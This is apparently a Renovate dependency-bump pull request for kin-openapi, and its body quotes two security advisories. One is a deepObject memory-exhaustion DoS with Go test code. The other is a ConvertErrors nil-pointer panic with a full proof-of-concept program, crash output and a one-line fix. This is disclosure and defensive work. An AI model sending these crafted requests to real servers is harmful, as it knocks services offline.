	require.NoError(t, err)
	require.NoError(t, doc.Validate(ctx))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	do := func(ct, body string) (error, uint64) {
		var e error
		alloc := measureAlloc(func() {
			req, _ := http.NewRequest(http.MethodPost, "/b", strings.NewReader(body))
			req.Header.Set("Content-Type", ct)
			route, pathParams, rerr := router.FindRoute(req)
			require.NoError(t, rerr)
			e = openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{
				Request: req, PathParams: pathParams, Route: route,
				Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
			})
		})
		return e, alloc
	}

	_, jsonAlloc := do("application/json", `{"items":["a","b","c","d"]}`)
	t.Logf("JSON 4-elem array: %s", humanBytes(jsonAlloc))
	require.Less(t, jsonAlloc, uint64(4<<20), "JSON path must not balloon")

	form := url.Values{}
	form.Set("items", "a")
	form.Add("items", "b")
	_, formAlloc := do("application/x-www-form-urlencoded", form.Encode())
	t.Logf("urlencoded repeated field: %s", humanBytes(formAlloc))
	require.Less(t, formAlloc, uint64(4<<20), "urlencoded path must not balloon")

	var buf bytes.Buffer
	w := multipart.NewWriter(&buf)
	require.NoError(t, w.WriteField("items", "a"))
	require.NoError(t, w.WriteField("items", "b"))
	require.NoError(t, w.Close())
	_, mpAlloc := do(w.FormDataContentType(), buf.String())
	t.Logf("multipart fields: %s", humanBytes(mpAlloc))
	require.Less(t, mpAlloc, uint64(4<<20), "multipart path must not balloon")
}

// TestC02_NonDeepObjectStylesSafe checks the other makeObject entry points
// (path/simple, header/simple, cookie/form). These build props via
// propsFromString, whose keys are property names, not bracketed integer
// indexes -- so a big number lands as a string key that fails strconv.Atoi
// cleanly, without materializing a giant slice.
func TestC02_NonDeepObjectStylesSafe(t *testing.T) {
	spec := `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
  /p/{param}:
    get:
      parameters:
        - name: param
          in: path
          required: true
          style: simple
          explode: false
          schema:
            type: object
            properties:
              items: {type: array, maxItems: 3, items: {type: string}}
      responses:
        '200': {description: ok}
`
	loader := openapi3.NewLoader()
	ctx := loader.Context
	doc, err := loader.LoadFromData([]byte(spec))
	require.NoError(t, err)
	require.NoError(t, doc.Validate(ctx))
	router, err := gorillamux.NewRouter(doc)
	require.NoError(t, err)

	alloc := measureAlloc(func() {
		req, _ := http.NewRequest(http.MethodGet, "/p/items,5000000", nil)
		route, pathParams, rerr := router.FindRoute(req)
		require.NoError(t, rerr)
		_ = openapi3filter.ValidateRequest(ctx, &openapi3filter.RequestValidationInput{
			Request: req, PathParams: pathParams, Route: route,
			Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
		})
	})
	t.Logf("path/simple object with big scalar: %s", humanBytes(alloc))
	require.Less(t, alloc, uint64(4<<20), "path/simple must not balloon")
}

func humanBytes(b uint64) string {
	const unit = 1024
	if b < unit {
		return fmt.Sprintf("%d B", b)
	}
	div, exp := uint64(unit), 0
	for n := b / unit; n >= unit; n /= unit {
		div *= unit
		exp++
	}
	return fmt.Sprintf("%.1f %ciB", float64(b)/float64(div), "KMGTPE"[exp])
}

Observed output re-run in this pass (C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v):

  • Unpatched tree (fix reverted via git stash push -- openapi3filter/req_resp_decoder.go): TestC02_Reproduce_MemoryExhaustion reproduced the full scaling table above (10,000 → 937.5 KiB through 50,000,000 → 6.1 GiB), and TestC02_AllocationBeforeValidation measured 225.2 MiB allocated for index=2,000,000 before the maxItems rejection fired — both matching the standalone PoC's findings and failing their bounded-allocation assertions as expected.
  • Patched tree (fix restored): all five tests pass; the worst-case allocation across every index, including 50,000,000, drops to 51.1 KiB, and TestC02_OnlyDeepObjectAffected / TestC02_NonDeepObjectStylesSafe confirm the other encodings and parameter styles were never affected.
Impact
  • Type: Uncontrolled Resource Consumption (CWE-789, Memory Allocation with Excessive Size Value / CWE-400, Uncontrolled Resource Consumption) → unauthenticated remote denial of service.
  • Who is impacted: any application using github.com/getkin/kin-openapi/openapi3filter to validate requests against a spec that declares an in: query, style: deepObject parameter whose schema contains an array anywhere in its property graph. This is a normal, documented OpenAPI pattern, not a hostile or unusual spec.
  • Attack: a single unauthenticated GET request with a small, attacker-chosen query string (as few as ~21–24 bytes). No body, no credentials, no special client tooling, no chunked-encoding or Content-Length trickery — the trigger lives entirely in the query string, so request-body size limits do not mitigate it.
  • Consequence: a single request can force hundreds of megabytes to multiple gigabytes of heap allocation; a handful of concurrent requests reliably exhausts memory on typical container limits (256 MB–2 GB), producing an OOM kill / restart loop. The declared maxItems constraint on the array does not prevent this, because materialization happens during decoding, strictly before schema validation runs.
  • Not affected: specs that do not use style: deepObject for array-bearing query parameters; requests via application/json, x-www-form-urlencoded, or multipart/form-data bodies; and path/header/cookie styled object parameters (all verified empirically above, and re-verified in this pass).

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


kin-openapi openai3filter: nil-pointer panic in ConvertErrors on malformed multipart/form-data body enables unauthenticated DoS

CVE-2026-76905 / GHSA-mmfr-pmjx-hw9w

More information

Details

Summary

A nil-pointer dereference in openapi3filter.ConvertErrors lets any unauthenticated client crash a server with a single HTTP request. When an application validates a multipart/form-data request body and renders the resulting validation error through the library-provided ValidationErrorEncoder / ConvertErrors helpers, a malformed scalar form field (e.g. a non-numeric value for an integer property) produces an error shape that convertParseError dereferences without a nil check. The handler goroutine panics, causing a denial of service. application/json request bodies are not affected — the bug is specific to multipart/form-data.

Details

The panic is in convertParseError, at openapi3filter/validation_error_encoder.go:119-120 (still present on master at the time of writing):

} else if innerErr.RootCause() != nil {
    if rootErr, ok := innerErr.Cause.(*ParseError); ok &&
        rootErr.Kind == KindInvalidFormat && e.Parameter.In == "query" {   // ❌ e.Parameter may be nil → panic

The comparison e.Parameter.In == "query" assumes e.Parameter is non-nil. It is reached whenever both of the following hold:

  1. e.Parameter == nil. A *RequestError carries either Parameter (parameter errors) or RequestBody (body errors), never both. ValidateRequestBody builds body errors with only RequestBody set, leaving Parameter nil — see validate_request.go:326-332.
  2. innerErr.Cause is itself a *ParseError (a ParseError nested inside a ParseError), so the type assertion on line 119 succeeds and execution reaches the e.Parameter.In dereference on line 120.

The only default code path that satisfies both conditions is the multipart body decoder, which wraps a failed part's *ParseError inside another *ParseError at req_resp_decoder.go:1549 and :1558:

if v, ok := err.(*ParseError); ok {
    return nil, &ParseError{path: []any{name}, Cause: v}   // v is a *ParseError → nested
}

Why other paths do not reach the dereference:

Body content type Failure mode RequestError.Err shape .Cause is *ParseError? e.Parameter Panics?
multipart/form-data scalar part fails primitive parse (age=notanumber) *ParseError wrapping a *ParseError yes nil YES
application/json malformed JSON syntax *ParseError whose .Cause is an encoding/json error no (assertion fails → safe fallback branch) nil no
application/json wrong type / schema violation *openapi3.SchemaError (routed to convertSchemaError, never reaches convertParseError) n/a nil no
styled query / path params invalid format *ParseError wrapping a *ParseError yes set (non-nil) no (guard/assignment succeeds)

Note that the sibling "path" branch two lines above (line 108) already guards correctly with e.Parameter != nil; the "query" branch simply omits the same guard.

Recommended fix. Add the missing nil guard to the condition:

 		if rootErr, ok := innerErr.Cause.(*ParseError); ok &&
-			rootErr.Kind == KindInvalidFormat && e.Parameter.In == "query" {
+			rootErr.Kind == KindInvalidFormat && e.Parameter != nil && e.Parameter.In == "query" {

When e.Parameter == nil the inner if is skipped and control falls through to the existing return &ValidationError{Status: http.StatusBadRequest, Title: innerErr.Reason} at line 127-130 — a correct 400 Bad Request. I verified that applying only this one-line guard stops the panic and returns *ValidationError{Status: 400}.

Minor follow-up worth including in the same change: for the multipart nested *ParseError, the outer ParseError.Reason is empty, so the fallback Title: innerErr.Reason yields a 400 with an empty Title. The descriptive text lives in innerErr.Error() (e.g. "path age: value notanumber: an invalid integer: invalid syntax"). Prefer a non-empty fallback:

title := innerErr.Reason
if title == "" {
    title = innerErr.Error()
}
return &ValidationError{Status: http.StatusBadRequest, Title: title}
PoC

Verified against revision 98d956447b64eaa10d3570a80b3be1a2849945f1 (also reproducible on current master), Go 1.25.0.

1. Spec — one operation accepting a multipart/form-data body with a non-string scalar (integer) property:

openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
  /upload:
    post:
      requestBody:
        required: true
        content:
          multipart/form-data:
            schema:
              type: object
              properties:
                age: {type: integer}
      responses:
        '200': {description: ok}

2. Program — validate a request whose age part is non-numeric, then convert the error the way a typical error-rendering middleware does:

package main

import (
	"bytes"
	"context"
	"fmt"
	"mime/multipart"
	"net/http"

	"github.com/getkin/kin-openapi/openapi3"
	"github.com/getkin/kin-openapi/openapi3filter"
	"github.com/getkin/kin-openapi/routers/gorillamux"
)

const spec = `
openapi: '3.0.3'
info: {title: t, version: '1.0.0'}
paths:
  /upload:
    post:
      requestBody:
        required: true
        content:
          multipart/form-data:
            schema:
              type: object
              properties:
                age: {type: integer}
      responses:
        '200': {description: ok}
`

func main() {
	loader := openapi3.NewLoader()
	doc, _ := loader.LoadFromData([]byte(spec))
	_ = doc.Validate(loader.Context)
	router, _ := gorillamux.NewRouter(doc)

	// multipart body: a non-numeric value for the integer property "age"
	var buf bytes.Buffer
	w := multipart.NewWriter(&buf)
	_ = w.WriteField("age", "notanumber")
	w.Close()

	r, _ := http.NewRequest(http.MethodPost, "/upload", &buf)
	r.Header.Set("Content-Type", w.FormDataContentType())
	route, pp, _ := router.FindRoute(r)

	reqErr := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
		Request: r, PathParams: pp, Route: route,
		Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
	})
	fmt.Printf("ValidateRequest returned: %T\n", reqErr) // *openapi3filter.RequestError

	// What an application's error-rendering middleware calls:
	_ = openapi3filter.ConvertErrors(reqErr) // panics
	fmt.Println("no panic (unexpected)")
}

3. Observed output (go run .):

ValidateRequest returned: *openapi3filter.RequestError
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x2 addr=0x20 pc=0x...]

goroutine 1 [running]:
github.com/getkin/kin-openapi/openapi3filter.convertParseError(...)
	.../openapi3filter/validation_error_encoder.go:120 +0x17c
github.com/getkin/kin-openapi/openapi3filter.ConvertErrors(...)
	.../openapi3filter/validation_error_encoder.go:42 +0xec
main.main()
	...
exit status 2

The panic is at exactly validation_error_encoder.go:120 — the unguarded e.Parameter.In dereference.

Control (confirms JSON is not a vector): repeating the setup with an application/json body and either a malformed body ({"age": ) or a wrong-type body ({"age": "notanumber"}) returns from ConvertErrors normally, with no panic. Only the multipart/form-data path crashes.

In a real HTTP server, ConvertErrors / ValidationErrorEncoder.Encode runs inside the request handler, so the panic aborts the in-flight request (connection reset / 500) and, without a recover() in the middleware chain, is trivially repeatable.

Impact
  • Type: Nil-pointer dereference → unauthenticated remote denial of service.
  • Who is impacted: any application using github.com/getkin/kin-openapi/openapi3filter that (1) exposes an endpoint accepting a multipart/form-data request body with at least one non-string scalar property (integer / number / boolean), and (2) renders validation errors through the library's own ValidationErrorEncoder or ConvertErrors helpers. These are the library's advertised error-rendering helpers, so this is a realistic default integration.
  • Attack: a single crafted, unauthenticated request (a multipart part whose value doesn't parse to the declared scalar type). No credentials, special privileges, or unusual client capabilities are required, and it is repeatable at will.
  • Consequence: the handling goroutine panics. Absent a recover() boundary in the application's middleware, the request is aborted; sustained requests deny service. Confidentiality and integrity are not affected.
  • Not affected: applications that only accept application/json bodies (verified above), applications that do not use ConvertErrors / ValidationErrorEncoder to format errors, or applications that wrap handlers in a recover() (which converts the crash into a handled 500 but still prevents normal error rendering).

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

Note

PR body was truncated to here.

@renovate
renovate Bot requested a review from a team as a code owner July 28, 2026 14:59
@socket-security

Copy link
Copy Markdown

Review the following changes in direct dependencies. Learn more about Socket for GitHub.

Diff Package Supply Chain
Security
Vulnerability Quality Maintenance License
Updatedgithub.com/​getkin/​kin-openapi@​v0.143.0 ⏵ v0.144.074 +1100 +75100100100

View full report

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants